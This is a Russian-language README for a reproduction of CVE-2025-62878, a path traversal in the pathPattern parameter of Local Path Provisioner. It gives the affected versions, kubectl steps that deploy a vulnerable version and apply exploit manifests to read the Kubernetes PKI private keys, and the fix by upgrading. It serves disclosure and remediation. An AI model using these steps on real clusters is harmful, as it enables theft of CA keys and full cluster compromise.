CVE-2025-62878: Обход пути в Local Path Provisioner

Обзор

Описание уязвимости

Уязвимость обхода пути существует в параметре pathPattern ресурса StorageClass. Злоумышленник может манипулировать параметром pathPattern, используя элементы относительного пути (например, ../), для создания PersistentVolumes, указывающих на произвольные расположения на узле, в обход ограничения настроенной базовой директории.

Это позволяет атакующим:

• Получать доступ к чувствительным файлам узла (например, /etc/kubernetes/pki/)
• Перезаписывать критические системные файлы
• Достигать полной компрометации кластера, похищая закрытые ключи Kubernetes CA

Затронутые версии (проверено)

Примечание: Официальный GitHub Advisory утверждает, что затронуты версии "< 0.0.34", но наши тесты подтверждают:

• v0.0.33 уже исправлена
• v0.0.26 и более ранние версии не затронуты (функция pathPattern не существует)
• Фактический диапазон затронутых версий: v0.0.27 <= версия <= v0.0.32

Хронология

Воспроизведение

Подробные шаги воспроизведения и скрипты см. в каталоге exploit/.

Быстрый старт

# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml

# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml

# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki

kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys

Устранение уязвимости

Обновитесь до v0.0.33 или более поздней версии:

kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml

Ссылки

• GitHub Advisory GHSA-jr3w-9vfr-c746
• Коммит с исправлением 1ed6b54
• Коммит с функцией pathPattern af85381